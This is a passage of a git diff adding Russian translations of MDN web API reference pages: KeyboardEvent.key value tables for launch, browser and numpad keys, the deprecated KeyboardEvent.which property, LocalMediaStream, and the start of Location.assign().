+  </tr>
+ </thead>
+</table>
+
+<p>[1] До Firefox 37, эта клавиша генерировала значение <code>"Unidentified"</code>.</p>
+
+<h2 id="Клавиши_приложений">Клавиши приложений</h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">На некоторых клавиатурах есть специальные клавиши для запуска определенных распространенных приложений или переключения на них.</span> <span title="">Значения клавиш для них перечислены здесь.</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"LaunchCalculator"</code> [5]</td>
+   <td>Клавиша запуска калькулятора <kbd>Calculator</kbd>, часто помечается значком. Часто используется в качестве общей клавиши запуска приложений (<code>APPCOMMAND_LAUNCH_APP2</code>).</td>
+   <td><code>APPCOMMAND_LAUNCH_APP2</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Calculator</code> (0x1008FF1D)<br>
+    <code>Qt::Key_Calculator</code> (0x010000CB)</td>
+   <td><code>KEYCODE_CALCULATOR</code> (210)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchCalendar"</code> [5]</td>
+   <td>Клавиша календаря <kbd>Calendar</kbd>. Часто помечается значком.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Calendar</code> (0x1008FF20)<br>
+    <code>Qt::Key_Calendar</code> (0x010000E4)</td>
+   <td><code>KEYCODE_CALENDAR</code> (208)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchContacts"</code></td>
+   <td>Клавиша "Контакты" <kbd>Contacts</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_CONTACTS</code> (207)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchMail"</code></td>
+   <td>Клавиша электронной почты <kbd>Mail</kbd>. Часто помечается значком.</td>
+   <td><code>VK_LAUNCH_MAIL</code> (0xB4)<br>
+    <code>APPCOMMAND_LAUNCH_MAIL</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Mail</code> (0x1008FF19)<br>
+    <code>Qt::Key_LaunchMail</code> (0x010000A0)</td>
+   <td><code>KEYCODE_ENVELOPE</code> (65)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchMediaPlayer"</code> [1]</td>
+   <td>Клавиша медиаплеера <kbd>Media Player</kbd>. Часто помечается значком.</td>
+   <td><code>VK_LAUNCH_MEDIA_SELECT</code> (0xB5)<br>
+    <code>APPCOMMAND_LAUNCH_MEDIA_SELECT</code></td>
+   <td></td>
+   <td><code>GDK_KEY_CD</code> (0x1008FF53)<br>
+    <code>GDK_KEY_Video</code> (0x1008FF87)<br>
+    <code>GDK_KEY_AudioMedia</code> (0x1008FF32)<br>
+    <code>Qt::Key_LaunchMedia</code> (0x010000A1)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchMusicPlayer"</code> [5]</td>
+   <td>Клавиша музыкального проигрывателя <kbd>Music Player</kbd>. Часто помечается значком.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Music</code> (0x1008FF92)<br>
+    <code>Qt::Key_Music</code> (0x010000FD)</td>
+   <td><code>KEYCODE_MUSIC</code> (209)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchMyComputer"</code> [5]</td>
+   <td>Клавиша "Мой компьютер" <kbd>My Computer</kbd> на клавиатурах Windows. Часто используется в качестве общей клавиши запуска приложений (<code>APPCOMMAND_LAUNCH_APP1</code>).</td>
+   <td><code>APPCOMMAND_LAUNCH_APP1</code></td>
+   <td></td>
+   <td><code>GDK_KEY_MyComputer</code> (0x1008FF33)<br>
+    <code>GDK_KEY_Explorer</code> (0x1008FF5D)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchPhone"</code></td>
+   <td>Клавиша телефонии <kbd>Phone</kbd>. Открывает приложение для набора номера телефона (если таковое имеется).</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Phone</code> (0x1008FF6E)<br>
+    <code>Qt::Key_Phone</code> (0x010000E3)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchScreenSaver"</code> [5]</td>
+   <td>Клавиша заставки <kbd>Screen Saver</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ScreenSaver</code> (0x1008FF2D)<br>
+    <code>Qt::Key_ScreenSaver</code> (0x010000BA)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchSpreadsheet"</code> [4]</td>
+   <td>Клавиша табличного процессора <kbd>Spreadsheet</kbd>. Эта клавиша часто помечается значком.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Excel</code> (0x1008FF5C)<br>
+    <code>Qt::Key_Excel</code> (0x010000D4)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchWebBrowser"</code> [4]</td>
+   <td>Клавиша веб-браузера <kbd>Web Browser</kbd>. Эта клавиша часто помечается значком.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_WWW</code> (0x1008FF2E)<br>
+    <code>Qt::Key_WWW</code> (0x010000BB)</td>
+   <td><code>KEYCODE_EXPLORER</code> (64)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchWebCam"</code> [5]</td>
+   <td>Клавиша <kbd>WebCam</kbd>. Открывает приложение веб-камеры.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_WebCam</code> (0x1008FF8F)<br>
+    <code>Qt::Key_WebCam</code> (0x010000FA)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchWordProcessor"</code> [5]</td>
+   <td>Клавиша текстового процессора <kbd>Word Processor</kbd>. Это может быть значок конкретного приложения текстового процессора или общий значок документа.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Word</code> (0x1008FF89)<br>
+    <code>Qt::Key_Word</code> (0x010000F4)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication1"</code> [2]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">1-я общая кнопка запуска приложений.</span></span></td>
+   <td><code>VK_LAUNCH_APP1</code> (0xB6)<br>
+    <code>APPCOMMAND_LAUNCH_APP1</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch0</code> (0x1008FF40)<br>
+    <code>Qt::Key_Launch0</code> (0x010000A2)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication2"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">2-я общая кнопка запуска приложений.</span></span></td>
+   <td><code>VK_LAUNCH_APP2</code> (0xB7)<br>
+    <code>APPCOMMAND_LAUNCH_APP2</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch1</code> (0x1008FF41)<br>
+    <code>Qt::Key_Launch1</code> (0x010000A3)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication3"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">3-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch2</code> (0x1008FF42)<br>
+    <code>Qt::Key_Launch2</code> (0x010000A4)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication4"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">4-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch3</code> (0x1008FF43)<br>
+    <code>Qt::Key_Launch3</code> (0x010000A5)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication5"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">5-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch4</code> (0x1008FF44)<br>
+    <code>Qt::Key_Launch4</code> (0x010000A6)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication6"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">6-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch5</code> (0x1008FF45)<br>
+    <code>Qt::Key_Launch5</code> (0x010000A7)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication7"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">7-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch6</code> (0x1008FF46)<br>
+    <code>Qt::Key_Launch6</code> (0x010000A8)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication8"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">8-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch7</code> (0x1008FF47)<br>
+    <code>Qt::Key_Launch7</code> (0x010000A9)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication9"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">9-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch8</code> (0x1008FF48)<br>
+    <code>Qt::Key_Launch8</code> (0x010000AA)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication10"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">10-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch9</code> (0x1008FF49)<br>
+    <code>Qt::Key_Launch9</code> (0x010000AB)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication11"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">11-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchA</code> (0x1008FF4A)<br>
+    <code>Qt::Key_LaunchA</code> (0x010000AC)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication12"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">12-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchB</code> (0x1008FF4B)<br>
+    <code>Qt::Key_LaunchB</code> (0x010000AD)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication13"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">13-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchC</code> (0x1008FF4C)<br>
+    <code>Qt::Key_LaunchC</code> (0x010000AE)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication14"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">14-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchD</code> (0x1008FF4D)<br>
+    <code>Qt::Key_LaunchD</code> (0x010000AF)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication15"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">15-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchE</code> (0x1008FF4E)<br>
+    <code>Qt::Key_LaunchE</code> (0x010000B0)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication16"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">16-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchF</code> (0x1008FF4F)<br>
+    <code>Qt::Key_LaunchF</code> (0x010000B1)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Internet Explorer, Edge, и Firefox (36 и ранее) используют <code>"SelectMedia"</code> вместо <code>"LaunchMediaPlayer"</code>. Firefox 37 и Firefox 48 используют <code>"MediaSelect"</code>. Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">был обновлен в соответствии с последней спецификацией и теперь возвращает</span></span> <code>"LaunchMediaPlayer"</code>.</p>
+
+<p>[2] Google Chrome 57 и ранние возращают <code>"LaunchMyComputer"</code> вместо <code>"LaunchApplication1"</code>. Смотри <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612743">Chrome Bug 612743</a> для дополнительной информации.</p>
+
+<p>[3] Google Chrome 57 и ранние возвращают <code>"LaunchCalculator"</code> вместо <code>"LaunchApplication2"</code>. Смотри <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612743">Chrome Bug 612743</a> для дополнительной информации.</p>
+
+<p>[4] До Firefox 37, Firefox возвращал the key code <code>"LaunchApplication1"</code> вместо "<code>LaunchWebBrowser"</code>для клавиши Веб-браузера.</p>
+
+<p>[5] Firefox ввёл поддержку этой клавиши в Firefox 37. До этого, эта клавиша возвращала значение <code>"Unidentified"</code>.</p>
+
+<h2 id="Клавиши_управления_браузером">Клавиши управления браузером</h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">На некоторых клавиатурах есть специальные клавиши для управления веб-браузерами.</span> <span title="">Это следующие клавиши.</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"BrowserBack"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход к предыдущему содержимому или странице в истории текущего веб-представления.</span></span></td>
+   <td><code>VK_BROWSER_BACK</code> (0xA6)<br>
+    <code>APPCOMMAND_BROWSER_BACKWARD</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Back</code> (0x1008FF26)<br>
+    <code>Qt::Key_Back</code> (0x01000061)</td>
+   <td><code>KEYCODE_BACK</code> (4)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserFavorites"</code> [1]</td>
+   <td>Открывает список закладок/избранного пользователя.</td>
+   <td><code>VK_BROWSER_FAVORITES</code> (0xAB)<br>
+    <code>APPCOMMAND_BROWSER_FAVORITES</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Favorites</code> (0x1008FF30)<br>
+    <code>GDK_KEY_MySites</code> (0x1008FF67)<br>
+    <code>Qt::Favorites</code> (0x01000091)</td>
+   <td><code>KEYCODE_BOOKMARK</code> (174)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserForward"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход к следующему содержимому или странице в истории текущего веб-представления.</span></span></td>
+   <td><code>VK_BROWSER_FORWARD</code> (0xA7)<br>
+    <code>APPCOMMAND_BROWSER_FORWARD</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Forward</code> (0x1008FF27)<br>
+    <code>Qt::Key_Forward</code> (0x01000062)</td>
+   <td><code>KEYCODE_FORWARD</code> (125)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserHome"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход к домашней странице, установленной пользователем.</span></span></td>
+   <td><code>VK_BROWSER_HOME</code> (0xAC)<br>
+    <code>APPCOMMAND_BROWSER_HOME</code></td>
+   <td></td>
+   <td><code>GDK_KEY_HomePage</code> (0x1008FF18)<br>
+    <code>Qt::Key_HomePage</code> (0x01000090)</td>
+   <td><code>KEYCODE_HOME</code> (3)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserRefresh"</code></td>
+   <td>Обновление текущей страницы или содержимого.</td>
+   <td><code>VK_BROWSER_REFRESH</code> (0xA8)<br>
+    <code>APPCOMMAND_BROWSER_REFRESH</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Refresh</code> (0x1008FF29)<br>
+    <code>GDK_KEY_Reload</code> (0x1008FF73)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"BrowserSearch"</code></td>
+   <td>Активирует предпочтительную поисковую систему пользователя или интерфейс поиска в его браузере.</td>
+   <td><code>VK_BROWSER_SEARCH</code> (0xAA)<br>
+    <code>APPCOMMAND_BROWSER_SEARCH</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Search</code> (0x1008FF1B)<br>
+    <code>Qt::Key_Search</code> (0x01000092)</td>
+   <td><code>KEYCODE_SEARCH</code> (84)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserStop"</code></td>
+   <td>Останавливает загрузку текущего веб-представления или содержимого.</td>
+   <td><code>VK_BROWSER_STOP</code> (0xA9)<br>
+    <code>APPCOMMAND_BROWSER_STOP</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Stop</code> (0x1008FF28)<br>
+    <code>Qt::Key_Search</code> (0x01000063)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] До Firefox 37, эта клавиша возвращала значение <code>"Unidentified"</code>.</p>
+
+<h2 id="Клавиши_цифрового_блока">Клавиши цифрового блока</h2>
+
+<p>Эти клавиши находятся на цифровой панели клавиатуры. Однако не все они присутствуют на каждой клавиатуре. Хотя типичные цифровые панели имеют цифровые клавиши от <kbd>0</kbd> до <kbd>9</kbd> (кодируются как <code>"0"</code> - <code>"9"</code>), некоторые мультимедийные клавиатуры включают дополнительные цифровые клавиши для более высоких чисел.</p>
+
+<div class="note">
+<p>Клавиша <kbd>10</kbd>, <span class="tlid-translation translation" lang="ru"><span title="">если она присутствует, генерирует события</span></span> <span class="tlid-translation translation" lang="ru"><span title="">со значением ключа</span></span> <code>"0"</code>.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"Decimal"</code> [1] {{obsolete_inline}}</td>
+   <td>
+    <p><span class="tlid-translation translation" lang="ru"><span title="">Клавиша десятичной точки</span></span> (обычно <kbd>.</kbd> или <kbd>,</kbd> в зависимости от региона).</p>
+
+    <p><span class="tlid-translation translation" lang="ru"><span title="">В новых браузерах это значение должно быть просто символом, сгенерированным клавишей десятичной точки (одним из этих двух символов).</span> <span title="">[1]</span></span></p>
+   </td>
+   <td><code>VK_DECIMAL</code> (0x6E)</td>
+   <td><code>kVK_ANSI_KeypadDecimal</code> (0x41)</td>
+   <td><code>GDK_KEY_KP_Decimal</code> (0xFFAE)<br>
+     </td>
+   <td><code>KEYCODE_NUMPAD_DOT</code> (158)</td>
+  </tr>
+  <tr>
+   <td><code>"Key11"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Клавиша</span></span> <kbd>11</kbd> <span class="tlid-translation translation" lang="ru"><span title=""> встречается на некоторых цифровых мультимедиа клавиатурах.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Key12"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Клавиша</span></span> <kbd>12</kbd> <span class="tlid-translation translation" lang="ru"><span title="">встречается на некоторых цифровых мультимедиа клавиатурах.</span></span>.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Multiply"</code> [1] {{obsolete_inline}}</td>
+   <td>Клавиша умножения на цифровой панели, <kbd>*</kbd>.</td>
+   <td><code>VK_MULTIPLY</code> (0x6A)</td>
+   <td><code>kVK_ANSI_KeypadMultiply</code> (0x43)</td>
+   <td><code>GDK_KEY_KP_Multiply</code> (0xFFAA)<br>
+    <code>Qt::Key_Multiply</code> (0x0D7)</td>
+   <td><code>KEYCODE_NUMPAD_MULTIPLY</code> (155)</td>
+  </tr>
+  <tr>
+   <td><code>"Add"</code> [1] {{obsolete_inline}}</td>
+   <td>Клавиша сложения на цифровой панели, <kbd>+</kbd>.</td>
+   <td><code>VK_ADD</code> (0x6B)</td>
+   <td><code>kVK_ANSI_KeypadPlus</code> (0x45)</td>
+   <td><code>GDK_KEY_KP_Add</code> (0xFFAB)</td>
+   <td><code>KEYCODE_NUMPAD_ADD</code> (157)</td>
+  </tr>
+  <tr>
+   <td><code>"Clear"</code></td>
+   <td>Клавиша очистки на цифровой панели, <kbd>Clear</kbd>.</td>
+   <td></td>
+   <td><code>kVK_ANSI_KeypadClear</code> (0x47)</td>
+   <td><code>GDK_KEY_Clear</code> (0xFF0B)<br>
+    <code>Qt::Key_Clear</code> (0x0100000B)</td>
+   <td><code>KEYCODE_CLEAR</code> (28)</td>
+  </tr>
+  <tr>
+   <td><code>"Divide"</code> [1] {{obsolete_inline}}</td>
+   <td>Клавиша деления на цифровой панели, <kbd>/</kbd>.</td>
+   <td><code>VK_DIVIDE</code> (0x6F)</td>
+   <td><code>kVK_ANSI_KeypadDivide</code> (0x4B)</td>
+   <td><code>GDK_KEY_KP_Divide</code> (0xFFAF)<br>
+    <code>Qt::Key_Slash</code> (0x2F)</td>
+   <td><code>KEYCODE_NUMPAD_DIVIDE</code> (154)</td>
+  </tr>
+  <tr>
+   <td><code>"Subtract"</code> [1] {{obsolete_inline}}</td>
+   <td>Клавиша вычитания на цифровой панели, <kbd>-</kbd>.</td>
+   <td><code>VK_SUBTRACT</code> (0x6D)</td>
+   <td><code>kVK_ANSI_KeypadMinus</code> (0x4E)</td>
+   <td><code>GDK_KEY_KP_Subtract</code> (0xFFAD)</td>
+   <td><code>KEYCODE_NUMPAD_SUBTRACT</code> (156)</td>
+  </tr>
+  <tr>
+   <td><code>"Separator"</code> [1]</td>
+   <td>
+    <p><span class="tlid-translation translation" lang="ru"><span title="">Символ разделителя позиций на цифровой клавиатуре.</span></span></p>
+
+    <p><span class="tlid-translation translation" lang="ru"><span title="">(В США это запятая, но в других странах это часто точка.)</span></span></p>
+   </td>
+   <td><code>VK_SEPARATOR</code> (0x6C)</td>
+   <td><code>kVK_JIS_KeypadComma</code> (0x5F)</td>
+   <td><code>GDK_KEY_KP_Separator</code> (0xFFAC)<br>
+     </td>
+   <td><code>KEYCODE_NUMPAD_COMMA</code> (159)</td>
+  </tr>
+  <tr>
+   <td><code>От "0"</code> до <code>"9"</code></td>
+   <td>Фактические цифровые клавиши на цифровой панели.</td>
+   <td><code>VK_NUMPAD0</code> (0x60) - <code>VK_NUMPAD9</code> (0x69)</td>
+   <td><code>kVK_Keypad0</code> (0x52) - <code>kVK_Keypad9</code> (0x5C)</td>
+   <td><code>GDK_KEY_KP_0</code> (0xFFB0) - <code>GDK_KEY_KP_9</code> (0xFFB9)</td>
+   <td><code>KEYCODE_NUMPAD_0</code> (144) - <code>KEYCODE_NUMPAD_9</code> (153)</td>
+  </tr>
+ </thead>
+</table>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">[1] В то время как старые браузеры использовали такие слова, как «Добавить», «Десятичное число», «Умножить» и т. д., современные браузеры идентифицируют их по фактическому символу («+», «.», «*» и т. д.).</span></span></p>
diff --git a/files/ru/web/api/keyboardevent/which/index.html b/files/ru/web/api/keyboardevent/which/index.html
new file mode 100644
index 0000000000..d06f71133f
--- /dev/null
+++ b/files/ru/web/api/keyboardevent/which/index.html
@@ -0,0 +1,97 @@
+---
+title: KeyboardEvent.which
+slug: Web/API/KeyboardEvent/which
+tags:
+  - API
+  - DOM
+  - Deprecated
+  - Property
+  - Reference
+translation_of: Web/API/KeyboardEvent/which
+---
+<div>{{APIRef ("События DOM")}} {{Deprecated_header}}<br>
+Свойство which только для чтения интерфейса {{domxref ("KeyboardEvent")}} возвращает числовой код клавиши нажатой клавиши или код символа (charCode) для нажатой буквенно-цифровой клавиши.</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>keyResult</em> = <em>event</em>.which;
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>keyResult содержит числовой код для конкретной нажатой клавиши, в зависимости от того, была ли нажата буквенно-цифровая или не буквенно-цифровая клавиша. Пожалуйста, смотрите {{domxref ("KeyboardEvent.charCode")}} и {{domxref ("KeyboardEvent.keyCode")}} для получения дополнительной информации.</code></li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;charCode/keyCode/which example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function showKeyPress(evt) {
+alert("onkeypress handler: \n"
+      + "keyCode property: " + evt.keyCode + "\n"
+      + "which property: " + evt.which + "\n"
+      + "charCode property: " + evt.charCode + "\n"
+      + "Character Key Pressed: "
+      + String.fromCharCode(evt.charCode) + "\n"
+     );
+}
+
+
+function keyDown(evt) {
+alert("onkeydown handler: \n"
+      + "keyCode property: " + evt.keyCode + "\n"
+      + "which property: " + evt.which + "\n"
+     );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body
+ onkeypress="showKeyPress(event);"
+ onkeydown="keyDown(event);"
+&gt;
+
+&lt;p&gt;Please press any key.&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Специфиыкация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#legacy-interface-KeyboardEvent','KeyboardEvent.which')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition; specified as deprecated</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.KeyboardEvent.which")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("KeyboardEvent")}}, the interface this property belongs too.</li>
+</ul>
diff --git a/files/ru/web/api/localmediastream/index.html b/files/ru/web/api/localmediastream/index.html
new file mode 100644
index 0000000000..b5ca550abb
--- /dev/null
+++ b/files/ru/web/api/localmediastream/index.html
@@ -0,0 +1,22 @@
+---
+title: LocalMediaStream
+slug: Web/API/LocalMediaStream
+translation_of: Web/API/LocalMediaStream
+---
+<div>{{APIRef("WebRTC")}} {{SeeCompatTable}}</div>
+
+<p>Интерфейс <strong><code>LocalMediaStream</code></strong><strong> </strong>представляет собой поток медиа-контента извлёчённый из локального источника данных. Этот интерфейс возвращается из <code><a href="/en-US/docs/WebRTC/navigator.getUserMedia" title="/en-US/docs/WebRTC/navigator.getUserMedia">getUserMedia()</a></code>.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("LocalMediaStream.stop()")}}</dt>
+ <dd>Останавливает поток. Когда источником потока является подключённое устройство (например, камера или микрофон), останавливает захват на устройстве. </dd>
+</dl>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li>Использование MediaStream API</li>
+ <li><a href="/en-US/docs/WebRTC/navigator.getUserMedia" title="/en-US/docs/WebRTC/navigator.getUserMedia">getUserMedia()</a></li>
+</ul>
diff --git a/files/ru/web/api/location/assign/index.html b/files/ru/web/api/location/assign/index.html
new file mode 100644
index 0000000000..38cf76051a
--- /dev/null
+++ b/files/ru/web/api/location/assign/index.html
@@ -0,0 +1,68 @@
+---
+title: Location.assign()
+slug: Web/API/Location/assign
+tags:
+  - API
+  - HTML-DOM
+  - Location
+  - Method
+  - Reference
+translation_of: Web/API/Location/assign
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Метод <code><strong>Location</strong></code><strong><code>.assign()</code></strong> запускает загрузку и отображение нового документа по указанному URL.</p>
+
+<p>Если новый URL не удовлетворяет требованиям безопасности, выбрасывается {{domxref("DOMException")}} с типом <code>SECURITY_ERROR</code>. Это случается, если домен скрипта, вызвающего метод, не совпадает с доменом страницы, изначально содержащимся в {{domxref("Location")}}.</p>
+
+<p>Если новый URL некорректен, выбрасывается {{domxref("DOMException")}} с типом <code>SYNTAX_ERROR</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>object</em>.assign(<em>url</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>url</em></dt>
+ <dd>{{domxref("DOMString")}}, содержащий URL страницы, на которую нужно перейти.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Перейти на статью Location.reload
+document.location.assign('https://developer.mozilla.org/ru/docs/Web/API/Location.reload');</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
